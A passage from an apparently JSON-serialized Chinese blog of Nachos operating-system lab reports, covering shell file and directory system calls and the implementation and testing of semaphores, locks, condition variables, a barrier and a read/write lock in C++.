machine->ReadRegister(4); int value; int count = 0; char *name = new char[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); fileSystem->Remove(name); delete[] name;} Nd同样利用C函数mkdir实现文件的创建。 12345678910111213141516void SysNd() { int base = machine->ReadRegister(4); int value; int count = 0; char *name = new char[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); Mkdir(name); delete[] name;} Dd利用C函数rmdir来实现文件夹的删除操作。 12345678910111213141516void SysDd() { int base = machine->ReadRegister(4); int value; int count = 0; char *name = new char[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); Rmdir(name); delete[] name;} 测试结果 以及执行如下用户程序,来测试shell用户程序的执行。 12345intmain(){ Create("aaa.txt"); Exit(0);} 遇到的困难困难1 shell程序启动出现Segment Fault的错误错误原因已经查明如下图所示,currentOffset是一个未初始化变量,因此其内的信息是不可访问的。也即图上的错误Cannot access memory at address 0x5。 12345/* * code/test/shell.c */OpenFileId input = ConsoleInput;OpenFileId output = ConsoleOutput; 解决方案:修改Write和Read系统调用的实现。作如下判断,对于标准输入流和标准输出流,则采取调用Unix系统调用的封装函数的方式处理。之所以不用OpenFile,而是直接调WriteFile和ReadPartial是为了处理stdin和stdout不支持lseek方法的问题。 123456789// Writeif (openFileId == ConsoleInput || openFileId == ConsoleOutput) { WriteFile(openFileId, in, size);}// Readif (openFileId == ConsoleInput || openFileId == ConsoleOutput) { r = ReadPartial(openFileId, out, size);} 参考资料[1] 百度文库. nachos Lab7实习报告[EB/OL]. https://wenku.baidu.com/view/a3e1f237a31614791711cc7931b765ce04087a54.html?re=view","link":"/2021/01/09/Nachos-Lab06-Shell%E5%AE%9E%E7%8E%B0/"},{"title":"Nachos Lab03 同步机制","text":"第一部分Exercise1 调研 调研Linux中实现的同步机制。具体内容见课堂要求。 Linux中的同步机制有: 中断屏蔽。由于内核的进程调度等操作依赖中断实现,因此可以避免抢占进程间的并发。仅适用于单CPU,不能解决多CPU引发的竞争。 原子操作。原子操作在内核中主要保护某个共享变量,防止该变量被同时访问造成数据不同步问题。其定义的数据操作中间不会被中断。 信号量。阻塞式等待的同步互斥机制,保证进程能够正确合理的使用公共资源。 自旋锁。使用忙等的方法,进程不会阻塞。适用于保持时间较短、可抢占的内核线程、多处理器间共享数据的应用场合。 读写锁、读写自旋锁、读写信号量。分别针对读、写操作做的处理。写操作时仅允许一个进程进入临界区,读操作允许多个进程进入临界区。适用于读远比写操作频繁的场合。 RCU机制。随意读,但是在更新数据的时候,先复制一份副本,在副本上完成修改再一次性地更新旧数据。同样是针对读多写少的场合。 内存和优化屏障。让程序在处理完屏障之前的代码之前,不会处理屏障之后的代码。 顺序锁。更偏向写者的读写锁。 大内核锁。与普通的锁类似,但是其存在自动释放的特性,进程会因为主动放弃CPU时自动释放锁,换入CPU时重新获得锁。 Exercise2 源代码阅读 阅读下列源代码,理解Nachos现有的同步机制。 code/threads/synch.h和code/threads/synch.cc code/threads/synchlist.h和code/threads/synchlist.cc code/threads/synch.h**和code/threads/synch.cc:Nachos提供了三种同步机制信号量、锁和条件变量机制。 信号量:仅包含P,V两种操作,以及非负的信号量值和等待队列。当信号量值大于0时,P操作将信号量值减少;当信号量值等于0时,P操作将当前线程放入等待队列并睡眠。而V操作则从等待队列取出线程放入就绪队列,然后增加信号量值。 (P操作中的while不能换成if,因为当线程1被唤醒时仍要判断一次value的值,否则可能存在线程刚被唤醒就被换出了CPU。然后新的线程2执行P操作获得了资源,但还未执行V操作时,线程1重新换入CPU,此时value的值是0,但是由于此时没有再次判断value的值,就会导致线程1也会进入临界区。) 锁:一个锁有两种状态BUSY和FREE。当锁处于FREE,线程可以取得锁进入临界区,执行完后,仅能由该线程释放锁。当锁处理BUSY时,申请锁的线程会进入阻塞状态,直到锁被释放变为FREE才被唤醒。 条件变量机制:该机制不包含任何值,或者说可以将其看作一个二值的机制。它需要与锁一同使用。所有的操作仅当线程获得了锁并且是同一个锁的时候,能够执行线程等待条件变量(Wait),唤醒一个等待该条件变量的线程(Signal),唤醒所有等待该条件变量的线程(BroadCast) code/threads/synchlist.h和code/threads/synchlist.cc:这里实现了用于同步访问的列表,该列表利用了锁和条件变量两个机制。该列表用于1.当线程需要从中删除元素时,如果没有元素则会让线程等待,直到列表有一个元素;2. 同一时刻仅有一个线程可以访问该列表。 关于线程阻塞后中断的问题首先观察线程Thread类下的Yield函数。Yield函数会先关中断;然后在Yield函数的末尾,会直接执行调度器的Run方法去执行下一个线程,此时下一个线程是处于关中断状态的。但是,当执行Yield的线程被重新换入CPU的时候,会从Run后面继续执行,也就会进行开中断。也就是说,上一个线程在Yield中关中断,切换到下一个线程,然后在下一个线程的Yield中去开中断。 Yield函数12345IntStatus oldLevel = interrupt->SetLevel(IntOff);...scheduler->ReadyToRun(this);scheduler->Run(nextThread);(void) interrupt->SetLevel(oldLevel); 这里会存在一个新的问题。 如果新换上的线程是刚刚进过Fork创建的线程,而不是执行Yield换出过的线程,那么新线程又是如何开中断的呢? 我们进一步观察Fork函数的实现。可以看到在其内部调用了StackAllocate函数来创建线程栈,并且初始化了一些机器状态,其中就有StartupPCState状态指向了开中断函数。这样上述问题就解决了,新线程会在首次执行的时候开中断一次。 12345machineState[PCState] = (int*)ThreadRoot;machineState[StartupPCState] = (int*)InterruptEnable; // 开中断machineState[InitialPCState] = (int*)func;machineState[InitialArgState] = arg;machineState[WhenDonePCState] = (int*)ThreadFinish; 然后再将视角转向信号量的P操作。在P操作中,线程会先关中断,然后因为请求的资源不足(即value == 0)而将自己睡眠,直到重新被唤醒的时候才开中断。而在Sleep的实现中,并没有去开中断,甚至断言当前的中断状态是关。但是Yield部分和P操作说明了新换入的线程该如何去开中断。 12345678910111213141516171819202122232425262728293031323334353637/* * threads/synch.cc */voidSemaphore::P(){ IntStatus oldLevel = interrupt->SetLevel(IntOff); // disable interrupts while (value == 0) { // semaphore not available queue->Append((void *)currentThread); // so go to sleep currentThread->Sleep(); } value--; // semaphore available, // consume its value (void) interrupt->SetLevel(oldLevel); // re-enable interrupts}/* * threads/thread.cc */voidThread::Sleep (){ Thread *nextThread; ASSERT(this == currentThread); ASSERT(interrupt->getLevel() == IntOff); DEBUG('t', "Sleeping thread \\"%s\\"\\n", getName()); status = BLOCKED; while ((nextThread = scheduler->FindNextToRun()) == NULL) interrupt->Idle(); // no one to run, wait for an interrupt scheduler->Run(nextThread); // returns when we've been signalled} 将上面描述的信息总结起来可以得出结论。由Sleep陷入阻塞的线程或者由Yield切换线程前所关闭的中断,其开启的时机: 被换入的是新线程 - 通过StartupPCState中存储的函数指针来开中断 被换入的是曾经由Yield换出的线程 - 执行Yield末尾的开中断 被换入的是从阻塞中被唤醒的线程 - 继续执行其末尾的开中断(如P操作的末尾的开中断) Exercise3 实现锁和条件变量 可以使用sleep和wakeup两个原语操作(注意屏蔽系统中断),也可以使用Semaphore作为唯一同步原语(不必自己编写开关中断的代码)。 思路锁:可以借助信号量来实现锁所需的机制。在锁内放置一个信号量lock,尝试获取锁就间接变成了P(lock)操作;而释放锁也就等同于V(lock)操作。此外为了保证锁的特性“仅有持有锁的进程能够释放锁”,增设一个属性用于记录是哪个线程获取到了锁。 条件变量:条件变量很重要的一点就是内部需要有等待队列以提供阻塞和唤醒功能,因此条件变量内部仅需要维护这样一个等待队列。 当然上述二者的操作均需保证其执行的原子性(对于Nachos保证原子性的方式较为单一,即通过关中断来保证)。 实现首先是关于锁的实现。锁的实现机制是利用信号量机制,在锁中新增两个私有成员owner和lock。owner变量用于记录持有锁的线程,lock变量用于上锁和释放锁的实现。上锁和释放锁的操作均利用关中断来保证操作的原子性。对于上锁Acquire操作,线程先对锁进行P操作,如果锁已经被占用,则该线程会阻塞;反之,则获得锁并设置锁的owner。对于释放锁Release操作,则会先断言释放该锁的线程必须是持有锁的线程,然后V操作释放锁资源并将持有者owner置空。 12345678910111213141516171819202122232425262728Lock::Lock(char* debugName) { name = debugName; lock = new Semaphore("Called in Lock", 1); owner = NULL;}Lock::~Lock() { delete lock;}void Lock::Acquire() { IntStatus oldLevel = interrupt->SetLevel(IntOff); lock->P(); owner = currentThread; (void) interrupt->SetLevel(oldLevel);}void Lock::Release() { IntStatus oldLevel = interrupt->SetLevel(IntOff); ASSERT(isHeldByCurrentThread()); // 仅有持有锁的线程才能释放锁 lock->V(); owner = NULL; (void) interrupt->SetLevel(oldLevel);}bool Lock::isHeldByCurrentThread() { return currentThread == owner;} 对于条件变量的实现,则新增了一个等待队列queue,用于记录调用Wait而阻塞的线程。对于等待Wait的实现,则同样先断言获得到锁的线程才能操作条件变量,然后释放锁,阻塞当前线程并将其加入到等待队列;直到线程被唤醒时获取锁,然后进入临界区操作。对于唤醒Signal的实现,则是通过判断等待队列是否为空,如果不为空,则取出一个线程加入到就绪队列。同理Broadcast函数的实现,则是对等待队列的所有线程执行Signal操作。 1234567891011121314151617181920212223242526272829303132333435363738394041Condition::Condition(char* debugName) { name = debugName; queue = new List;}Condition::~Condition() { delete queue;}void Condition::Wait(Lock* conditionLock) {// ASSERT(FALSE); IntStatus oldLevel = interrupt->SetLevel(IntOff); ASSERT(conditionLock->isHeldByCurrentThread()); // 因为无法获得锁的线程会阻塞,因此请求锁的线程仍在执行就说明是有问题的 conditionLock->Release(); // 睡眠之前释放锁 queue->Append(currentThread); currentThread->Sleep(); conditionLock->Acquire(); // 被唤醒时重新请求锁,进入临界区 (void) interrupt->SetLevel(oldLevel);}void Condition::Signal(Lock* conditionLock) { IntStatus oldLevel = interrupt->SetLevel(IntOff); // 取出一个线程加入到就绪队列 if (!queue->IsEmpty()) { Thread* nextThread = queue->Remove(); scheduler->ReadyToRun(nextThread); } (void) interrupt->SetLevel(oldLevel);}void Condition::Broadcast(Lock* conditionLock) { IntStatus oldLevel = interrupt->SetLevel(IntOff); while (!queue->IsEmpty()) { Signal(conditionLock); } (void) interrupt->SetLevel(oldLevel);} Exercise4 实现同步互斥实例 基于Nachos中的信号量、锁和条件变量,采用两种方式实现同步和互斥机制应用(其中使用条件变量实现同步互斥机制为必选题目)。具体可选择“生产者-消费者问题”、“读者-写者问题”、“哲学家就餐问题”、“睡眠理发师问题”等。(也可选择其他经典的同步互斥问题) 生产者-消费者问题(信号量实现)设置三个信号量,缓冲区互斥信号量mutex、缓冲区剩余空间信号量empty、缓冲区已有产品信号量full。 然后编写生产者函数Producer,共生产10个产品,每次生产前判断缓冲区是否还有空间,然后再获取互斥变量mutex,接着进入临界区执行生产任务(往缓冲区的空位置写1),最后再释放这些信号量。对于消费者Consumer则与之类似,每次消费前判断缓冲区是否有产品,然后再获取mutex,接着进入临界区执行消费任务(将缓冲区一个为1的位置改为-1),最后同样释放信号量。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758// 信号量Semaphore * mutex = new Semaphore("Producer-Consumer-mutex", 1);Semaphore * full = new Semaphore("Producer-Consumer-full", 0);Semaphore * empty = new Semaphore("Producer-Consumer-empty", 5);// 互斥缓冲区int buff[5] = {0};void printBuff(char * name) { printf("===========%s===========\\n", name); for (int i = 0; i < 5; i++) printf("%d ", buff[i]); printf("\\n===========End===========\\n");}void Producer(int which) { int num = 10; while (num--) { printf("Thread %d is trying to produce\\n", which); empty->P(); printf("Thread %d is trying to get mutex\\n", which); mutex->P(); printf("Thread %d is producing\\n", which); buff[num % 5] = 1; printBuff("Producer"); full->V(); mutex->V(); }}void Consumer(int which) { int num = 10; while (num--) { printf("Thread %d is trying to consume\\n", which); full->P(); printf("Thread %d is trying to get mutex\\n", which); mutex->P(); printf("Thread %d is comsuming\\n", which); buff[num % 5] = -1; printBuff("Consumer"); empty->V(); mutex->V(); }}voidThreadTest5() { DEBUG('t', "Entering ThreadTest5\\n"); Thread* prod = new Thread("Producer"); Thread* cons = new Thread("Consumer"); prod->Fork(Producer, (void*)1); cons->Fork(Consumer, (void*)2);} 测试结果如下: Shell输出结果123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133root@b5500d28dd66:/nachos/nachos-3.4/code/threads# ./nachos -q 5No test specified.Thread 1 is trying to produceThread 1 is trying to get mutexThread 2 is trying to consumeThread 1 is producing===========Producer===========0 0 0 0 1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========0 0 0 1 1 ===========End===========Thread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========0 0 0 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========0 0 1 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========0 1 1 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========1 1 1 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========1 1 1 1 1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 1 is trying to produceThread 2 is comsuming===========Consumer===========1 1 1 -1 1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========1 1 -1 -1 1 ===========End===========Thread 1 is trying to get mutexThread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========1 -1 -1 -1 1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========-1 -1 -1 -1 1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========-1 -1 -1 -1 -1 ===========End===========Thread 2 is trying to consumeThread 1 is producing===========Producer===========-1 -1 -1 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========-1 -1 1 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 1 is producing===========Producer===========-1 1 1 1 -1 ===========End===========Thread 1 is trying to produceThread 1 is trying to get mutexThread 2 is trying to get mutexThread 1 is producing===========Producer===========1 1 1 1 -1 ===========End===========Thread 2 is comsuming===========Consumer===========1 1 1 -1 -1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========1 1 -1 -1 -1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========1 -1 -1 -1 -1 ===========End===========Thread 2 is trying to consumeThread 2 is trying to get mutexThread 2 is comsuming===========Consumer===========-1 -1 -1 -1 -1 ===========End===========No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 940, idle 20, system 920, user 0Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 生产者-消费者问题(条件变量实现)设置一个互斥锁CondLock_PC_mutex来实现对条件变量以及临界区的互斥操作。因此对生产者和消费者分别设置一个条件变量用于记录各自的阻塞队列。最后用两个变量分别标记缓冲区被使用的空间大小,以及缓冲区的最大限度。 同样,生产者和消费者的实现上比较类似,因此以生产者举例。设置了共10个生产任务及5个缓冲区大小。生产者首先获取互斥锁来访问缓冲区,然后用while语句判断是否有空闲空间以供生产。如果没有则将自己置入生产者条件变量的等待队列;如果有则生产一个产品,最后唤醒消费者并释放锁。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849// 条件变量Lock * CondLock_PC_mutex = new Lock("CondLock_PC_mutex"); // 互斥锁Condition * Cond_PC_p = new Condition("Cond_PC_p"); // 生产者条件变量Condition * Cond_PC_c = new Condition("Cond_PC_c"); // 消费者条件变量int buffSize = 0; // 互斥缓冲区int maxBuffSize = 5;void Producer(int which) { int num = 10; while (num--) { printf("Thread %d is trying to get lock\\n", which); CondLock_PC_mutex->Acquire(); while (buffSize >= maxBuffSize) { printf("Thread %d is waiting\\n", which); Cond_PC_p->Wait(CondLock_PC_mutex); } printf("Thread %d is producing\\n", which); buffSize++; Cond_PC_c->Signal(CondLock_PC_mutex); CondLock_PC_mutex->Release(); }}void Consumer(int which) { int num = 10; while (num--) { printf("Thread %d is trying to get lock\\n", which); CondLock_PC_mutex->Acquire(); while (buffSize <= 0) { printf("Thread %d is waiting\\n", which); Cond_PC_c->Wait(CondLock_PC_mutex); } printf("Thread %d is consuming\\n", which); buffSize--; Cond_PC_p->Signal(CondLock_PC_mutex); CondLock_PC_mutex->Release(); }}voidThreadTest6() { DEBUG('t', "Entering ThreadTest5\\n"); Thread* prod = new Thread("Producer"); Thread* cons = new Thread("Consumer"); prod->Fork(Producer, (void*)1); cons->Fork(Consumer, (void*)2);} 测试结果如下: Shell输出结果1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556root@b5500d28dd66:/nachos/nachos-3.4/code/threads# ./nachos -q 5 No test specified.Thread 1 is trying to get lockThread 1 is producingThread 2 is trying to get lockThread 1 is trying to get lockThread 1 is producingThread 1 is trying to get lockThread 1 is producingThread 1 is trying to get lockThread 1 is producingThread 1 is trying to get lockThread 1 is producingThread 1 is trying to get lockThread 1 is waitingThread 2 is consumingThread 1 is producingThread 1 is trying to get lockThread 1 is waitingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is waitingThread 1 is producingThread 1 is trying to get lockThread 1 is producingThread 1 is trying to get lockThread 1 is producingThread 1 is trying to get lockThread 1 is producingThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingThread 2 is trying to get lockThread 2 is consumingNo threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 760, idle 20, system 740, user 0Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Challenge 1 实现barrier 可以使用Nachos 提供的同步互斥机制(如条件变量)来实现barrier,使得当且仅当若干个线程同时到达某一点时方可继续执行。 思路若要满足“当且仅当若干个线程同时到达某一点时方可继续执行”,那么可以考虑用到条件变量中的Broadcast方法。然后增设一个变量来统计进入到条件变量等待队列中的线程数,当所有线程抵达barrier所设的点时,也即所有线程都进入到了等待队列中,此时将所有线程同时唤醒。 实现采取新建一个Barrier类的方式来实现。首先在threads/synch.h中创建Barrier类的基本结构如下。Barrier主要包含了4个属性,锁lock用于条件变量的操作,条件变量用于记录不满足条件时等待的线程以及后续的唤醒操作,size用于记录满足Barrier要求的线程数,cur_size记录当前抵达Barrier时阻塞的线程数。 Barrier除了基本的构造/析构函数外,仅有一个操作方法Set用于在某个点设置barrier(即在需要放置barrier的点调用Set函数即可)。Set的实现方式,首先获取锁保证临界区的互斥操作,然后将抵达该点的线程计数器增加,接着判断是否满足了释放所有线程的条件size。如果满足则调用条件变量的Broadcast方法唤醒所有的线程;如果不满足则将当前线程放入条件变量的阻塞队列中。这样就实现了Barrier的基本功能。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152/* * threads/synch.h */class Barrier {public: Barrier(char* debugName, int initSize); ~Barrier(); char* getName() { return (name); } void Set();private: Lock* lock; Condition* condition; char* name; int size; int cur_size;};/* * threads/synch.cc */Barrier::Barrier(char *debugName, int initSize) { size = initSize; lock = new Lock("Barrier Lock"); name = debugName; condition = new Condition("Barrier Condition"); cur_size = 0;}Barrier::~Barrier() { delete lock; delete condition;}void Barrier::Set() { lock->Acquire(); cur_size++; if (cur_size >= size) { printf("Thread %s, current number %d, needed number %d, do Broadcast\\n", currentThread->getName(), cur_size, size); condition->Broadcast(lock); lock->Release(); } else { printf("Thread %s, current number %d, needed number %d, do Wait\\n", currentThread->getName(), cur_size, size); condition->Wait(lock); lock->Release(); } printf("Thread %s continue run\\n", currentThread->getName(), cur_size, size);} 然后编写测试函数,在两个线程中分别对Barrier_x和Barrier_y赋值,然后进行计算。这就意味着仅当两个线程同时赋值结束之后才能获得正确的运算结果。 12345678910111213141516171819202122232425int Barrier_x = 0, Barrier_y = 0;Barrier* barrier = new Barrier("Barrier", 2);void BarrierFunc_1(int which) { Barrier_x = 10; barrier->Set(); printf("BarrierFunc_1 do \\'x * y\\', get %d\\n", Barrier_x * Barrier_y);}void BarrierFunc_2(int which) { Barrier_y = 3; barrier->Set(); printf("BarrierFunc_2 do \\'x + y\\', get %d\\n", Barrier_x + Barrier_y);}voidThreadTest7() { DEBUG('t', "Entering ThreadTest5\\n"); Thread* thread_1 = new Thread("1"); Thread* thread_2 = new Thread("2"); thread_1->Fork(BarrierFunc_1, (void*)1); thread_2->Fork(BarrierFunc_2, (void*)2);} 测试结果如下: Shell输出结果123456789101112131415161718root@b5500d28dd66:/nachos/nachos-3.4/code/threads# ./nachos -q 7 Thread 1, current number 1, needed number 2, do WaitThread 2, current number 2, needed number 2, do BroadcastThread 2 continue runBarrierFunc_2 do 'x + y', get 13Thread 1 continue runBarrierFunc_1 do 'x * y', get 30No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 140, idle 10, system 130, user 0Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Challenge 2 实现read/write lock 基于Nachos提供的lock(synch.h和synch.cc),实现read/write lock。使得若干线程可以同时读取某共享数据区内的数据,但是在某一特定的时刻,只有一个线程可以向该共享数据区写入数据。 思路读写锁是计算机程序的并发控制的一种同步机制,也称“共享-互斥锁”、多读者-单写者锁。 用于解决读写问题。读操作可并发重入,写操作是互斥的。 互斥原则: 读-读能共存, 读-写不能共存, 写-写不能共存。 实现利用条件变量实现读写锁。使用一个计数器refCount来标记当前锁的状态,当该值为-1时表示有1个写者正在写;当该值为0时表示锁未使用;当该值为正数时表示有n个读者正在读。为保证写写互斥,refCount负值仅能为-1。readCond条件变量记录当有读者正在读时,写者的等待队列;writeCond条件变量记录当有写者正在写时,读者的等待队列。最后两个变量readWaiters和writeWaiters分别记录读写者等待的数量,以及用于在释放锁时使用。 123456789101112131415161718class ReadWriteLock {public: ReadWriteLock(char* debugName); ~ReadWriteLock(); void ReadLock(); void WriteLock(); void Unlock();private: char* name; int refCount; // -1表示有写者,0表示无人加锁,正数表示读者个数 Lock* rwLock; Condition* readCond; Condition* writeCond; int readWaiters; int writeWaiters;}; 对于读锁的实现主要是根据refCount的值判断是否有写者正在写,如果有则进入等待队列;如果没有则将refCount的值增加,且获取锁。因此读锁的可重入就是通过refCount的判断来实现的,读者仅会因为有写者正在写而阻塞。 这里要注意的是,while不能用if来判断,理由与P操作中的while类似。首先,Wait操作会释放锁rwLock,然后等待readCond执行Signal,最后重新操作条件变量时,再对rwLock加锁。这样就会存在一种情况,在当前读线程从被Signal唤醒之后,还没来得及对rwLock进行加锁时,另外一个线程被换上CPU来获取写锁,此时refCount为0,因此导致refcount变成了-1。如果不重新对refcount进行判断就会导致读者写者同时获取锁。 1234567891011121314void ReadWriteLock::ReadLock() { rwLock->Acquire(); printf("Thread %s is tring to get ReadLock, readerWaiters %d, writeWaiters %d, refCount %d\\n", currentThread->getName(), readWaiters, writeWaiters, refCount); while (refCount < 0) { readWaiters++; readCond->Wait(rwLock); readWaiters--; } refCount++; printf("Thread %s get ReadLock, readerWaiters %d, writeWaiters %d, refCount %d\\n", currentThread->getName(), readWaiters, writeWaiters, refCount); rwLock->Release();} 写锁的实现方式与读锁类似。主要区别在于为了保证写写互斥、读写互斥,要求refCount的值为0,即仅当没有任何线程获取到锁时,才能加写锁。 1234567891011121314void ReadWriteLock::WriteLock() { rwLock->Acquire(); printf("Thread %s is tring to get WriteLock, readerWaiters %d, writeWaiters %d, refCount %d\\n", currentThread->getName(), readWaiters, writeWaiters, refCount); while (refCount != 0) { writeWaiters++; writeCond->Wait(rwLock); writeWaiters--; } refCount = -1; printf("Thread %s get WriteLock, readerWaiters %d, writeWaiters %d, refCount %d\\n", currentThread->getName(), readWaiters, writeWaiters, refCount); rwLock->Release();} 最后是解锁Unlock的实现。如果是写者释放锁,则直接将refCount置0;如果是读者释放锁,则将refCount减1。改动完了refCount之后,再进一步判断是否所有线程都释放了锁。当存在等待的写者时,则用Signal唤醒一个写者;当存在等待的读者时,则用Broadcast唤醒所有读者(因为读锁是可重入的)。 在该实现下,如果有写者进入等待队列,但在这之后运行新的读者获得锁,因此这是一种读优先的实现。 123456789101112131415161718192021void ReadWriteLock::Unlock() { ASSERT(refCount != 0); rwLock->Acquire(); if (refCount == -1) { refCount = 0; } else { refCount--; } if (refCount == 0) { if (writeWaiters > 0) { writeCond->Signal(rwLock); } else if (readWaiters > 0) { readCond->Broadcast(rwLock); } } printf("Thread %s unlocked, readerWaiters %d, writeWaiters %d, refCount %d\\n", currentThread->getName(), readWaiters, writeWaiters, refCount); rwLock->Release();} 最后编写测试函数如下。编写相应的测试函数。使用一个整数来模拟共享文件。读/写函数类似,读操作仅获取sharedFile的值,写操作会对该值+1。为了能见到读写锁的互斥以及写优先策略的效果,在释放锁前和释放锁后均让线程执行Yield放弃CPU。 123456789101112131415161718192021222324252627282930313233343536373839404142ReadWriteLock* readWriteLock = new ReadWriteLock("ReadWriteLock Test");int sharedFile = 0;void do_read(int which) { int num = 2; while (num--) { readWriteLock->ReadLock(); printf("Thread %s is reading, sharedFile value %d\\n", currentThread->getName(), sharedFile); currentThread->Yield(); readWriteLock->Unlock(); currentThread->Yield(); }}void do_write(int which) { int num = 3; while (num--) { readWriteLock->WriteLock(); sharedFile++; printf("Thread %s is writing, sharedFile value %d\\n", currentThread->getName(), sharedFile); currentThread->Yield(); readWriteLock->Unlock(); currentThread->Yield(); }}voidThreadTest8() { DEBUG('t', "Entering ThreadTest5\\n"); Thread* read_1 = new Thread("Read_1"); Thread* read_2 = new Thread("Read_2"); Thread* read_3 = new Thread("Read_3"); Thread* write_1 = new Thread("Write_1"); Thread* write_2 = new Thread("Write_2"); write_1->Fork(do_write, (void*)0); read_1->Fork(do_read, (void*)0); read_2->Fork(do_read, (void*)0); write_2->Fork(do_write, (void*)0); read_3->Fork(do_read, (void*)0);} 然后分别创建了3个读线程,2个写线程进行测试,结果如下。可以看到当有写着在写时,其他写者和读者加入到等待队列。然后该写者写完时,新的写者优先获得锁。直到等待队列中没有写者时,读者才开始读。多个线程同时获得了读锁。 Shell执行结果123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960root@b5500d28dd66:/nachos/nachos-3.4/code/threads# ./nachos -q 8Thread Write_1 is tring to get WriteLock, readerWaiters 0, writeWaiters 0, refCount 0Thread Write_1 get WriteLock, readerWaiters 0, writeWaiters 0, refCount -1Thread Write_1 is writing, sharedFile value 1Thread Read_1 is tring to get ReadLock, readerWaiters 0, writeWaiters 0, refCount -1Thread Read_2 is tring to get ReadLock, readerWaiters 1, writeWaiters 0, refCount -1Thread Write_2 is tring to get WriteLock, readerWaiters 2, writeWaiters 0, refCount -1Thread Read_3 is tring to get ReadLock, readerWaiters 2, writeWaiters 1, refCount -1Thread Write_1 unlocked, readerWaiters 3, writeWaiters 1, refCount 0Thread Write_2 get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_2 is writing, sharedFile value 2Thread Write_1 is tring to get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_2 unlocked, readerWaiters 3, writeWaiters 1, refCount 0Thread Write_1 get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_1 is writing, sharedFile value 3Thread Write_2 is tring to get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_1 unlocked, readerWaiters 3, writeWaiters 1, refCount 0Thread Write_2 get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_2 is writing, sharedFile value 4Thread Write_1 is tring to get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_2 unlocked, readerWaiters 3, writeWaiters 1, refCount 0Thread Write_1 get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_1 is writing, sharedFile value 5Thread Write_2 is tring to get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_1 unlocked, readerWaiters 3, writeWaiters 1, refCount 0Thread Write_2 get WriteLock, readerWaiters 3, writeWaiters 0, refCount -1Thread Write_2 is writing, sharedFile value 6Thread Write_2 unlocked, readerWaiters 3, writeWaiters 0, refCount 0Thread Read_1 get ReadLock, readerWaiters 2, writeWaiters 0, refCount 1Thread Read_2 get ReadLock, readerWaiters 1, writeWaiters 0, refCount 2Thread Read_3 get ReadLock, readerWaiters 0, writeWaiters 0, refCount 3Thread Read_1 is reading, sharedFile value 6Thread Read_2 is reading, sharedFile value 6Thread Read_3 is reading, sharedFile value 6Thread Read_1 unlocked, readerWaiters 0, writeWaiters 0, refCount 2Thread Read_2 unlocked, readerWaiters 0, writeWaiters 0, refCount 1Thread Read_3 unlocked, readerWaiters 0, writeWaiters 0, refCount 0Thread Read_1 is tring to get ReadLock, readerWaiters 0, writeWaiters 0, refCount 0Thread Read_1 get ReadLock, readerWaiters 0, writeWaiters 0, refCount 1Thread Read_1 is reading, sharedFile value 6Thread Read_2 is tring to get ReadLock, readerWaiters 0, writeWaiters 0, refCount 1Thread Read_2 get ReadLock, readerWaiters 0, writeWaiters 0, refCount 2Thread Read_3 is tring to get ReadLock, readerWaiters 0, writeWaiters 0, refCount 2Thread Read_3 get ReadLock, readerWaiters 0, writeWaiters 0, refCount 3Thread Read_3 is reading, 